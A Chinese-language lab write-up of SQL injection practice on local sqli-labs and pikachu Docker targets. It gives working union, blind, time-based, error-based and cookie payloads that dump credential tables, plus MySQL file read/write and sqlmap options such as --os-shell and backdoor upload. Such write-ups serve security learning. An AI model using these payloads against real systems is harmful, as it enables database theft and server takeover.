时间:2026-02-07 00:02
人气:
作者:admin
http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20dhwudhwu
界面显示:

分析:显示出sql语句报错,说明后端将上面输入的有问题sql语句拿去执行了。存在sql注入漏洞。
http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20order%20by%204%20--+
界面显示:

分析:当输入order by为4时,显示出报错,说明目前查询的这个表只有3个字段。
查询了多少字段
1. http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20union%20select%201,2%20--+
2. http://192.168.103.130:8088/sqli-labs/Less-2/?id=1%20union%20select%201,2,3%20--+


select字段的查询为3个字段。确定回显点
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,2,3 --+
界面显示:

分析:通过将前面的id=-1,使后面的select语句生效,再通过回显的效果看出,回显点为2和3。
http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,version(),database() --+
界面显示:

分析:数据库名为security;数据库版本高于5.0,后续可以查询information_schema。
security)中拥有的所有表格http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema like 'security' --+
界面显示:

分析:通过回显可以得知security数据库中有表emails,referers,uagents,users。
users表(看起来这个表里面藏着重要信息)http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name like 'users' --+
界面显示:

分析:security数据库里面的users表里面有三个字段:id,username,password。
1. http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,group_concat(id,0x3a,username,0x3a,password),3 from security.users --+
2. http://192.168.103.130:8088/sqli-labs/Less-2/?id=-1 union select 1,substr(group_concat(id,0x3a,username,0x3a,password),1,20),3 from security.users --+


View Page Source,也可以使用下面的substr()函数(这个函数会有32位截断),一段一段获取信息。1. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%20bfjdhfquhr
2. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%27


')闭合,因此有注入点。1. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%27)%20order%20by%203%20--+
2. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1%27)%20order%20by%204%20--+


4时发生报错,说明当前表有3个字段。查询了多少字段
1. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1') union select 1,2 --+
2. http://192.168.103.130:8088/sqli-labs/Less-3/?id=1') union select 1,2,3 --+


确定回显点
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,2,3 --+
界面显示:

分析:略
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,database(),version() --+
界面显示:

分析:数据库名字是security;数据库版本是5.5.62-0ubuntu0.14.04.1。
security)中拥有的所有表格http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
界面显示:

分析:略
users表(看起来这个表里面藏着重要信息)http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'security' --+
界面显示:

分析:略
http://192.168.103.130:8088/sqli-labs/Less-3/?id=-1') union select 1,substr(group_concat(id,0x3a,username,0x3a,password),1,30),3 from security.users --+
界面显示:

分析:略
1. http://192.168.103.130:8088/sqli-labs/Less-4/?id=1sdnfuinfew
2. http://192.168.103.130:8088/sqli-labs/Less-4/?id=1%22


'换成"就可以了,后面的步骤就省略了。ascii码表:

1. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1
2. http://192.168.103.130:8088/sqli-labs/Less-8/?id=-1


id是否可能有符号包裹1. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1'
2. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' --+


'后,sql语句报错/不正确,然后通过再加入--+注释掉后面得sql语句,sql不再报错,说明id值有''包裹。http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' and length(database())=8 --+
界面显示:

分析:通过多次尝试可以得出当前使用的数据库名字的长度为8。
二分法确定当前数据库的每个字母1. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))>64 --+
2. http://192.168.103.130:8088/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))>95 --+


security。http://192.168.103.130:8088/sqli-labs/Less-8/?id=1%27%20and%20substr(version(),1,1)=%275%27%20--+
界面显示:

分析:通过一步步的尝试可以确定当前的数据库版本高于5.0,因此后续可以使用information_schema通过二分法来确定这个所有表的名字与每个表里面的字段名。后面步骤就省略了。
1. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2' and sleep(5) --+
2. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(5) --+


"比使用'界面的返回时间更长,说明有注入点并且是"包裹。1. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(length(database())=2,5,0)) --+
2. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(length(database())=8,5,0)) --+
8。二分法确定当前数据库名的每一个字母1. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(ascii(substr(database(),1,1))<64,5,0)) --+
2. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(ascii(substr(database(),1,1))>64,5,0)) --+
3. http://192.168.103.130:8088/sqli-labs/Less-10/?id=2" and sleep(if(ascii(substr(database(),1,1))=115,5,0)) --+
二分法一步步的毕竟数据库名首字母的ascii码,最终得知其为s。接着再一个个尝试,然后就知道了整个数据库名为security。POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=123&passwd=456&submit=Submit
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=admin' and sleep(5)#&passwd=456&submit=Submit
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=admin" and sleep(5)#&passwd=456&submit=Submit

uname可以使用基于时间的盲注。POST /sqli-labs/Less-15/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-15/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=admin' and sleep(if(length(database())=8,5,0))#&passwd=456&submit=Submit
界面显示:
可以明显感觉到延迟,大约5秒。

分析:通过尝试可以得知数据库长度为8。
主要是使用extractvalue()与updatexml()这两个函数。
extractvalue(a,b)
updatexml(c,d,e)
updatexml()函数POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-11/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) %23&passwd=1&submit=Submit
界面显示:

分析:通过updatexml()函数报错可以得知当前的数据库名。后续略。
extractvalue()函数POST /sqli-labs/Less-11/ HTTP/1.1
Host: 192.168.103.130:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Origin: http://192.168.103.130:8088
Connection: keep-alive
Referer: http://192.168.103.130:8088/sqli-labs/Less-11/
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; PHPSESSID=vm6pg0p35tg8uvis9eiu0ekh07
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=1' or extractvalue(1,concat(0x7e,(select database()),0x7e)) %23&passwd=1&submit=Submit
界面显示:

分析:通过extractvalue()函数报错可以得知当前的数据库名。后续略。
123'
界面显示:
![]()
分析:可以明显的看出后面有%',所有以'包裹。
1. 123' order by 4 #
2. 123' order by 3 #
123' union select 1,2,3 #
界面显示:

分析:三个回显点1、2、3都是。
123' union select user(),database(),version() #
界面显示:

分析:信息已经很明显了。
123' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu' #
界面显示:

分析:有表格httpinfo,member,message,users,xssblind。
users中的字段123' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
界面显示:

分析:users表里面有字段id,username,password,level。
users表里面的一些信息1. 123' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from pikachu.users #
2. 123' union select 1,substr(group_concat(id,0x3a,username,0x3a,password),1,30),3 from pikachu.users #


substr()函数。Cookie中加入unamebase64加密:123' --> MTIzJw==
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; uname=MTIzJw==
界面显示:

分析:从报错界面可以很清楚的得知,uname参数有')包裹。
base64加密:123') union select database(),version(),user() # --> MTIzJykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksdmVyc2lvbigpLHVzZXIoKSAj
Cookie: cacff1b452ca9de4355c8cd7467bcbac_ssl=95873830-0869-4ae7-9786-7463cfcb22ba.7kO78FJ-RTa0abCkVP5iq4Q-MRg; uname=MTIzJykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksdmVyc2lvbigpLHVzZXIoKSAj
界面显示:

分析:界面中已经显示的很清楚了。后续操作跟前面的差不多,只不过多一次base64加密。
在 MySQL 中,文件读写并不是像普通编程语言那样随意操作,而是受限于严格的安全权限和特定的 SQL 语句。
通常我们讨论 MySQL 文件读写,指的就是这两个操作:读取文件内容到数据库(Load Data / Load_File)和将数据库结果写入文件(Into Outfile)。
secure_file_priv在开始之前,你必须检查 MySQL 的安全设置。为了防止黑客通过 SQL 注入窃取服务器文件,MySQL 使用 secure_file_priv 参数限制读写目录。
SHOW VARIABLES LIKE "secure_file_priv";
NULL:禁止所有读写操作。/var/lib/mysql-files/:只能在该目录下进行读写。空值:可以在任意位置读写(极度不安全)。LOAD DATA (最常用)用于将结构化的文本文件(如 CSV)批量导入到表中。这是性能最高的数据导入方式。
LOAD DATA INFILE '/var/lib/mysql-files/data.csv'
INTO TABLE users
FIELDS TERMINATED BY ','
LINES TERMINATED BY '\n'
IGNORE 1 LINES; -- 忽略表头
LOAD_FILE() 函数用于读取单个文件的内容,并将其作为字符串返回。常用于读取配置文件、密钥或图片(存入 BLOB)。
SELECT LOAD_FILE('/var/lib/mysql-files/config.txt') AS file_content;
SELECT ... INTO OUTFILE将查询结果直接保存到服务器本地的文件中。
SELECT id, username, email
FROM users
INTO OUTFILE '/var/lib/mysql-files/backup_users.txt'
FIELDS TERMINATED BY ','
OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n';
注意:
- MySQL 不会覆盖已存在的文件。如果文件已存在,报错。
- 生成的文件属于运行 MySQL 服务的用户(通常是
mysql用户),普通用户可能没有权限直接删除。
-u: 用于url方式提交,指定url-r: 用于post方式提交,用于指定post内容-p: 指定需要测试的参数--forms: 可以自定识别查询form表单-D: 指定需要查询的数据库名-T: 指定需要查询的表名-C: 指定需要查询的字段名--dbs: 需要查询有哪些数据库--tables: 需要查询有哪些表--columns: 需要查询有哪些字段--level: 设定查询等级--risk: 设定查询等级--dump: 直接下载表中的数据--current-user: 查询当前用户--current-db: 查询当前使用数据库名tamper: 使用自带的脚本对 Payload 进行混淆random-agent: 随机切换 User-Agent,模仿不同浏览器,防止被识别为脚本工具proxy: 设置代理,隐藏自己的真实 IPdelay: 设置请求间隔(秒),防止请求太快被服务器封 IP--os-shell: 如果条件满足,直接返回一个交互式的系统 shell--file-read / --file-write: 读取服务器上的敏感文件或上传后门文件--technique: 指定注入技术(B: 布尔盲注, E: 报错注入, U: 联合查询, S: 堆叠注入, T: 时间盲注)--threads: 设置并发线程数(默认为 1,建议调高以加速)--batch: 全自动模式,所有询问(Y/N)都按默认项执行,适合脚本自动化Apple Mac mini M4
192.168.103.130192.168.103.128ubuntu中安装docker靶场:hominsu/sqli-labs:latest
ubuntu中安装docker靶场:hominsu/pikachu:latest
# 拉取docker镜像
sudo docker pull hominsu/sqli-labs
sudo docker pull hominsu/pikachu
# 为镜像创建容器,并运行
## sqli-labs 端口设为 8088
## pikachu 端口设为 8082
sudo docker run -dt --name sqli-labs -p 8088:80 hominsu/sqli-labs
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu
???? 不一定对,如有错误,欢迎指出????。